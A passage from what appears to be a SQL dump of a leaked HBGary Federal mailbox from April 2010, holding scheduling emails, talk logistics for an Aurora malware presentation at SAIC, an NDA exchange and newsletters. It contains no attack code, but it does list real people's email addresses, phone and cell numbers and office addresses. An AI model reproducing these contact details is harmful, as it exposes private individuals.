\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',216,'aaron_hbgary_com/216.html'),(5711,'2010-04-27','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297004138.M381825P14101Q566.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Catch up with Conroy','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMeet up there maybe &#8211; 1230?&nbsp; \r\n\r\n&nbsp;\r\n\r\nDo you like crab cakes?&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 27, 2010 9:08 AM\r\nTo: Robinson, Cassie\r\nSubject: Re: Catch up with Conroy\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThat would be great. &nbsp;How about late lunch or coffee?\r\n&nbsp;I am up at NSA until 12pm.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 27, 2010, at 9:06 AM, &quot;Robinson, Cassie&quot; &lt;Cassie.Robinson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n&#8211; wanna schedule something?&nbsp; This Friday looks good. \r\n\r\n&nbsp;\r\n\r\ncsr\r\n\r\n&nbsp;\r\n\r\nCassie Robinson&nbsp;| Northrop Grumman Corporation\r\n\r\nIntelligence Integrated Customer Team\r\n\r\n&nbsp;tel\r\n703-741-7781 | 1000 Wilson Blvd&nbsp; | Suite 2300&nbsp; |\r\nArlington, VA 22209\r\n\r\n&nbsp;\r\n\r\nA\r\nkind word never broke anyone\'s mouth.\r\n-- Irish Proverb&nbsp;&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9452,'aaron_hbgary_com/9452.html'),(5712,'2010-04-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004150.M804714P14101Q567.eml','\"Timothy W. Estell\" <TIMOTHY.W.ESTELL@saic.com>,\"Scott W. Sheldon\" <SCOTT.W.SHELDON@saic.com>','Slides','Hey Guys,\r\n\r\nTake a look, let me know what you think given the audience.  I can add more detail, talk about malware kits, talk more about the HBGary tools, etc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1385,'aaron_hbgary_com/1385.html'),(5713,'2010-04-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004163.M932946P14101Q568.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Slides for todays talk','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12898,'aaron_hbgary_com/12898.html'),(5714,'2010-04-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004164.M906841P14101Q569.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','Re: Catch up with Conroy','Meet up around NSA? &nbsp;Sure.I love good crab cakes.AaronOn Apr 27, 2010, at 9:12 AM, Robinson, Cassie wrote:Meet up there maybe – 1230?&nbsp;&nbsp;Do you like crab cakes?&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, April 27, 2010 9:08 AMTo:&nbsp;Robinson, CassieSubject:&nbsp;Re: Catch up with Conroy&nbsp;That would be great. &nbsp;How about late lunch or coffee? &nbsp;I am up at NSA until 12pm.&nbsp;AaronFrom my iPhoneOn Apr 27, 2010, at 9:06 AM, \"Robinson, Cassie\" &lt;Cassie.Robinson@ngc.com&gt; wrote:Aaron – wanna schedule something?&nbsp; This Friday looks good.&nbsp;csr&nbsp;Cassie Robinson&nbsp;| Northrop Grumman CorporationIntelligence Integrated Customer Team&nbsp;tel 703-741-7781&nbsp;|&nbsp;1000 Wilson Blvd&nbsp;&nbsp;|&nbsp;Suite 2300&nbsp;&nbsp;|&nbsp;Arlington, VA 22209&nbsp;A kind word never broke anyone\'s mouth.--&nbsp;Irish Proverb&nbsp;&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1110,'aaron_hbgary_com/1110.html'),(5715,'2010-04-27','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297004165.M181312P14101Q570.eml','\"Aaron Barr\" <aaron@hbgary.com>','Lunch: Aaron Barr/Tom Conroy','\r\n\r\n\r\n\r\n\r\nLunch: Aaron Barr/Tom Conroy\r\n\r\n\r\n\r\n\r\nWhen: Friday, April 30, 2010 12:30 PM-2:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Gunnings:&nbsp; 7304 Parkway Drive, Hanover, MD 21076, Phone 410-712-9404\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',8761,'aaron_hbgary_com/8761.html'),(5716,'2010-04-27','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297004165.M480129P14101Q571.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Catch up with Conroy','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGunnings:&nbsp; 7304 Parkway Drive, Hanover, MD 21076, Phone\r\n410-712-9404\r\n\r\n&nbsp;\r\n\r\n1230pm\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 27, 2010 9:15 AM\r\nTo: Robinson, Cassie\r\nSubject: Re: Catch up with Conroy\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMeet up around NSA? &nbsp;Sure.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI love good crab cakes.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 27, 2010, at 9:12 AM, Robinson, Cassie wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMeet up there maybe &#8211; 1230?&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo you like crab cakes?&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, April 27,\r\n2010 9:08 AM\r\nTo:&nbsp;Robinson, Cassie\r\nSubject:&nbsp;Re: Catch up with\r\nConroy\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThat would be great. &nbsp;How about late lunch or coffee?\r\n&nbsp;I am up at NSA until 12pm.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 27, 2010, at 9:06 AM, &quot;Robinson, Cassie&quot; &lt;Cassie.Robinson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; wanna schedule something?&nbsp; This Friday looks\r\ngood.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\ncsr\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCassie Robinson&nbsp;|\r\nNorthrop Grumman Corporation\r\n\r\n\r\n\r\n\r\n\r\nIntelligence Integrated\r\nCustomer Team\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;tel 703-741-7781&nbsp;|&nbsp;1000 Wilson Blvd&nbsp;&nbsp;|&nbsp;Suite 2300&nbsp;&nbsp;|&nbsp;Arlington, VA 22209\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nA kind word never broke anyone\'s mouth.\r\n--&nbsp;Irish Proverb&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16644,'aaron_hbgary_com/16644.html'),(5717,'2010-04-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004173.M360810P14101Q572.eml','\"Timothy W. Estell\" <TIMOTHY.W.ESTELL@saic.com>,\"Scott W. Sheldon\" <SCOTT.W.SHELDON@saic.com>','Slides','I forgot to convert to PPT.\r\n\r\n',14075,'aaron_hbgary_com/14075.html'),(5718,'2010-04-27','\"LinkedIn\" <linkedin@em.linkedin.com>','/aaron@hbgary.com/new/1297004173.M926538P14101Q573.eml','aaron@hbgary.com','New! Share articles and more with your professional network.','\r\n\r\n\r\n  \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n\r\n  \r\n    \r\n    \r\n    \r\n\r\n  \r\n    \r\n    Don\'t keep it to yourself\r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    LinkedIn brings sharing to the professional conversation\r\n    \r\n    \r\n  \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n\r\n\r\n  \r\n    \r\n  \r\n  \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    Want to share something with your connections?\r\n  \r\n  \r\n    \r\n    Let\'s say you found an article from TechCrunch that would be useful for your LinkedIn network.\r\n  \r\n   \r\n    \r\n    \r\n    \r\n   \r\n\r\n  \r\n    \r\n  \r\n  \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    Just place a URL into your status box on the home page...\r\n  \r\n  \r\n    \r\n    Your update fills in automatically with the title, website address, a picture, and text from the article.\r\n  \r\n    \r\n    \r\n    \r\n    \r\n    \r\n\r\n  \r\n    \r\n  \r\n  \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    ...then control what it looks like to your network.\r\n  \r\n  \r\n    \r\n    Edit the content, change the picture, decide who can see it -- you\'re in charge!\r\n  \r\n    \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\n    \r\n\r\n  \r\n    \r\n    \r\n    \r\n    \r\n  \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\n    \r\n  \r\n\r\n\r\n    \r\n    \r\n  \r\n  \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    This message is part of an occasional mailing to help you get the most out of LinkedIn. If you prefer not to receive these messages, change your settings.\r\nLinkedIn 2029 Stierlin Ct., Mountain View, CA 94043 USA\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n',12300,'aaron_hbgary_com/12300.html'),(5719,'2010-04-27','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297004174.M178225P14101Q574.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Slides','Aaron,\r\n\r\nI\'ve got it.\r\n\r\nI\'ll plan to be in our Conference Center by 1530 to be sure the slides\r\nshow up on the screen.\r\n\r\nToday\'s Technical Tuesday starts at 1600.\r\n\r\nScott\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 27, 2010 9:26 AM\r\nTo: Estell, Timothy W.; Sheldon, Scott W.\r\nSubject: Slides\r\n\r\nI forgot to convert to PPT.\r\n\r\n',14600,'aaron_hbgary_com/14600.html'),(5720,'2010-04-27','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004174.M428913P14101Q575.eml','\"Aaron Barr\" <aaron@hbgary.com>','SAIC meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nPlease send me the address for today&#8217;s 4pm mtg at\r\nSAIC.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5089,'aaron_hbgary_com/5089.html'),(5721,'2010-04-27','\"Estell, Timothy W.\" <TIMOTHY.W.ESTELL@saic.com>','/aaron@hbgary.com/new/1297004174.M649213P14101Q576.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','RE: Slides','This looks like a good intro. Can you talk about the methodology used to\r\nanalyze Aurora and your tools during the discussion? \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 27, 2010 9:13 AM\r\nTo: Estell, Timothy W.; Sheldon, Scott W.\r\nSubject: Slides\r\n\r\nHey Guys,\r\n\r\nTake a look, let me know what you think given the audience.  I can add\r\nmore detail, talk about malware kits, talk more about the HBGary tools,\r\netc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11523,'aaron_hbgary_com/11523.html'),(5722,'2010-04-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004174.M858079P14101Q577.eml','\"Estell, Timothy W.\" <TIMOTHY.W.ESTELL@saic.com>','Re: Slides','Yep.\r\n\r\n From my iPhone\r\n\r\nOn Apr 27, 2010, at 11:02 AM, \"Estell, Timothy W.\"  wrote:\r\n\r\n> This looks like a good intro. Can you talk about the methodology\r\n> used to\r\n> analyze Aurora and your tools during the discussion?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, April 27, 2010 9:13 AM\r\n> To: Estell, Timothy W.; Sheldon, Scott W.\r\n> Subject: Slides\r\n>\r\n> Hey Guys,\r\n>\r\n> Take a look, let me know what you think given the audience.  I can add\r\n> more detail, talk about malware kits, talk more about the HBGary\r\n> tools,\r\n> etc.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',5519,'aaron_hbgary_com/5519.html'),(5723,'2010-04-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004175.M167864P14101Q578.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','Talk today','I have to push off this talk today.  Is there a time we\'d or thurs we\r\ncould do it?\r\nAaron\r\n\r\n From my iPhone\r\n',15271,'aaron_hbgary_com/15271.html'),(5724,'2010-04-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004180.M786509P14101Q579.eml','\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Aurora Talk','From my iPhoneBegin forwarded message:From: &quot;Estell, Timothy W.&quot; &lt;TIMOTHY.W.ESTELL@saic.com&gt;\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: Aurora TalkIt&#39;s at 6841 Benjamin Franklin Drive, Columbia MD 21046.\r\nAs you walk in the front door you&#39;ll see the conference center doors.We&#39;ll meet on the ground floor. -----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, April 26, 2010 9:31 AMTo: Estell, Timothy W.Subject: Aurora TalkHey Tim,Can you send me the location of the talk for tomorrow?\r\nThanks,Aaron BarrCEOHBGary Federal Inc.\r\n',14045,'aaron_hbgary_com/14045.html'),(5725,'2010-04-27','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297004181.M230899P14101Q581.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Talk today','Sure.  Greg may be doing this preso anyway.  I&#39;ll know today.On Tue, Apr 27, 2010 at 12:14 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nI have to push off this talk today.  Is there a time we&#39;d or thurs we\r\ncould do it?\r\nAaron\r\n\r\n From my iPhone\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',5774,'aaron_hbgary_com/5774.html'),(5726,'2010-04-27','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297004181.M29222P14101Q580.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: NSA Dry Run @ Tue Apr 27 12:30pm - 1pm (aaron@hbgary.com)',' more details &raquo;NSA Dry RunWhenTue Apr 27 12:30pm – 1pm Eastern TimeWhereTelecon (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;bob@hbgary.com&#x2022;phil@hbgary.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',2726,'aaron_hbgary_com/2726.html'),(5727,'2010-04-27','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004181.M442785P14101Q582.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Aurora Talk','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n4pm today?&nbsp; Let me know if different.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 27, 2010 12:17 PM\r\nTo: Bob Slapnik\r\nSubject: Fwd: Aurora Talk\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Estell,\r\nTimothy W.&quot; &lt;TIMOTHY.W.ESTELL@saic.com&gt;\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Aurora Talk\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt\'s at 6841 Benjamin Franklin\r\nDrive, Columbia MD 21046.\r\n\r\nAs you walk in the front door you\'ll see the conference center doors.\r\nWe\'ll meet on the ground floor. \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Monday, April 26, 2010 9:31 AM\r\nTo: Estell, Timothy W.\r\nSubject: Aurora Talk\r\n\r\nHey Tim,\r\n\r\nCan you send me the location of the talk for tomorrow?\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.814 / Virus Database: 271.1.1/2836 - Release Date: 04/27/10\r\n02:27:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',657,'aaron_hbgary_com/657.html'),(5728,'2010-04-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004181.M666307P14101Q583.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Aurora Talk','Yep.From my iPhoneOn Apr 27, 2010, at 1:01 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n4pm today?  Let me know if different.\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 27, 2010 12:17 PM\r\nTo: Bob Slapnik\r\nSubject: Fwd: Aurora Talk\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Estell,\r\nTimothy W.&quot; &lt;TIMOTHY.W.ESTELL@saic.com&gt;\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Aurora Talk\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt&#39;s at 6841 Benjamin Franklin\r\nDrive, Columbia MD 21046.\r\n\r\nAs you walk in the front door you&#39;ll see the conference center doors.\r\nWe&#39;ll meet on the ground floor. \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Monday, April 26, 2010 9:31 AM\r\nTo: Estell, Timothy W.\r\nSubject: Aurora Talk\r\n\r\nHey Tim,\r\n\r\nCan you send me the location of the talk for tomorrow?\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.814 / Virus Database: 271.1.1/2836 - Release Date: 04/27/10\r\n02:27:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13748,'aaron_hbgary_com/13748.html'),(5729,'2010-04-27','\"Dino Dai Zovi\" <ddz@trailofbits.com>','/aaron@hbgary.com/new/1297004184.M295559P14101Q584.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Update','Here is the MNDA.  Can you send me back a a scan of the signed page for my records also?  Also, do you use S/MIME?  I\'d prefer to encrypt by default if possible as my e-mail is hosted.\r\n\r\nPages is nice on the eyes, but poor for exchanging business documents (i.e. no change tracking, losses in formatting between format conversions).  I have Office for Mac, so Office file formats are no problem for me.\r\n\r\nCheers,\r\n\r\n-Dino\r\n\r\n',14940,'aaron_hbgary_com/14940.html'),(5730,'2010-04-27','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297004184.M595424P14101Q585.eml','aaron@hbgary.com','SIGNAL Webinar Series: Enabling Software-Powered Unified Capabilities Over the IP Cloud','\r\n\r\n\r\n\r\nYou are invited to participate i\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n\r\n\r\n  \r\n    \r\n      \r\n        You are \r\n		invited to participate in this upcoming live SIGNAL webinar.&nbsp;\r\n        Please register today at&nbsp;www.afcea.org/signal/webinar/default.asp\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n			\r\n				\r\n				\r\n					\r\n						\r\n						\r\n					\r\n					\r\n						\r\n						\r\n						\r\n						Enabling Software-Powered \r\n						Unified Capabilities Over the IP Cloud \r\n					\r\n				\r\n				\r\n			\r\n		\r\n		\r\n    \r\n  \r\n\r\n\r\n  \r\n  \r\n    \r\n      \r\n\r\n\r\n	\r\n		\r\n		Thursday, \r\n		May 20th, 2010\r\n		12:00 p.m. EDT / 9:00 a.m. PDT\r\n		\r\n		CLICK HERE TO REGISTER\r\n		for this FREE live web broadcast\r\n		\r\n			\r\n				\r\n					\r\n		\r\n		\r\n		\r\n				\r\n			\r\n			The \r\n			emergence of Unified Capabilities software platforms has brought \r\n			about a need for new telecommunications products to bridge next \r\n			generation voice/messaging products to legacy voice and video \r\n			systems. \r\n			\r\n			Assured Services – SIP (AS-SIP) technology provides the ability to \r\n			seamlessly move from these new real-time services platforms to the \r\n			existing technology that is installed in the DOD while still \r\n			allowing mission critical features like MLPP to exist over the IP \r\n			cloud. V.150 Universal Modem Relay further enhances this capability \r\n			adding Secure IP instruments, like the Sectéra® \r\n			vIPer™, to communicate with legacy FNBDT devices, like the STE. For \r\n			tactical users, these communications have to take place in locations \r\n			with severely limited bandwidth. These bandwidth restrictions can \r\n			only be overcome with efficient frame packing techniques to squeeze \r\n			the maximum efficiency out of the IP environment.\r\n			\r\n			Key points to be \r\n			discussed in this session include:\r\n			\r\n				\r\n				\r\n				Overview of emerging real-time capabilities and collaboration \r\n				platforms\r\n				\r\n				\r\n				Assured Services SIP as a gateway technology\r\n				\r\n				MLPP \r\n				over IP, providing mission critical voice over \r\n				the IP cloud\r\n				\r\n				New \r\n				Secure IP devices and how they work with \r\n				existing secure devices\r\n				\r\n				\r\n				Real-time services over limited, error prone or \r\n				high-delay connections\r\n			\r\n		\r\n		\r\n		\r\n		\r\n&nbsp;\r\n			\r\n				&nbsp;MODERATOR:\r\n				\r\n				\r\n				&nbsp;Bob Ackerman, \r\n				\r\n&nbsp;Editor in Chief, \r\n&nbsp;SIGNAL Magazine\r\n				&nbsp;SPEAKERS:\r\n				\r\n				\r\n				&nbsp;Brad Chalker,\r\n				\r\n				&nbsp;Director of Technical Marketing \r\n&nbsp;for N.E.T. Federal\r\n				\r\n&nbsp;Kevin Isacks,\r\n				\r\n&nbsp;Director of Product Management \r\n&nbsp;for N.E.T.\r\n				\r\n&nbsp;Rich Strand,\r\n				\r\n&nbsp;Senior Systems Engineer \r\n&nbsp;for N.E.T. Federal\r\n				&nbsp;WHO \r\n				SHOULD ATTEND:\r\n				&nbsp;Professionals \r\n				in the \r\n&nbsp;following fields:\r\n				&nbsp;4Network \r\n				Engineer\r\n				&nbsp;4Network \r\n				Program Manager\r\n				&nbsp;4Voice \r\n				Communications \r\n&nbsp;&nbsp;&nbsp;&nbsp; Engineer\r\n				&nbsp;4Tactical \r\n				Network Engineer \r\n				&nbsp;4Communications \r\n				Specialist\r\n			\r\n		\r\n		\r\n	\r\n\r\n		\r\n		\r\n    \r\n    \r\n	\r\n	\r\n		\r\n		\r\n			\r\n				\r\n				\r\n				CLICK HERE to \r\nregister!&nbsp;&nbsp;www.afcea.org/signal/webinar/default.asp\r\n			\r\n		\r\n		\r\n		\r\n\r\n\r\n\r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n	\r\n\r\n\r\n			\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6429,'aaron_hbgary_com/6429.html'),(5731,'2010-04-27','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004184.M815568P14101Q586.eml','\"Joshua Corman\" <josh.corman@the451group.com>,\"Joshua Corman\" <josh.corman@the451group.com>','RE: NG Introduction to Georgia Newhall (update)','Hey Josh,\r\n\r\nShe is still there, but she works below CISO.  Aaron Barr is going to reach\r\nout to them.  Aaron was director of cybersecurity for NGTASC.  I\'ve copied\r\nhim here if you ever need him.  He runs HBGary Federal for us\r\n\r\n-----Original Message-----\r\nFrom: Joshua Corman [mailto:josh.corman@the451group.com] \r\nSent: Monday, April 26, 2010 9:21 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Joshua Corman\r\nSubject: NG Introduction to Georgia Newhall (update)\r\n\r\nPenny,\r\n\r\nI mentioned Georgia Newhall is a senior security exec at Northrop Grumman IT\r\n(NGIT).\r\nI couldn\'t readily find her contact info.\r\nI lost many when I left IBM.\r\n\r\nI\'ve put out a few emails to find it.\r\nI just wanted to update you.\r\n\r\nBest Regards,\r\n\r\nJoshua\r\n\r\n=============================\r\nJoshua Corman\r\nResearch Director, Enterprise Security Practice\r\nThe 451 Group\r\n[e] jcorman@the451group.com\r\n[o] +1 603.343.2400\r\n[c] +1 603.512.4795\r\n[w] www.the451group.com\r\n[t] @joshcorman\r\n\r\n\r\n',1251,'aaron_hbgary_com/1251.html'),(5732,'2010-04-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004185.M344479P14101Q588.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Matt Bodman','All,\r\n\r\nGot a call from Matt today.  He is looking forward to 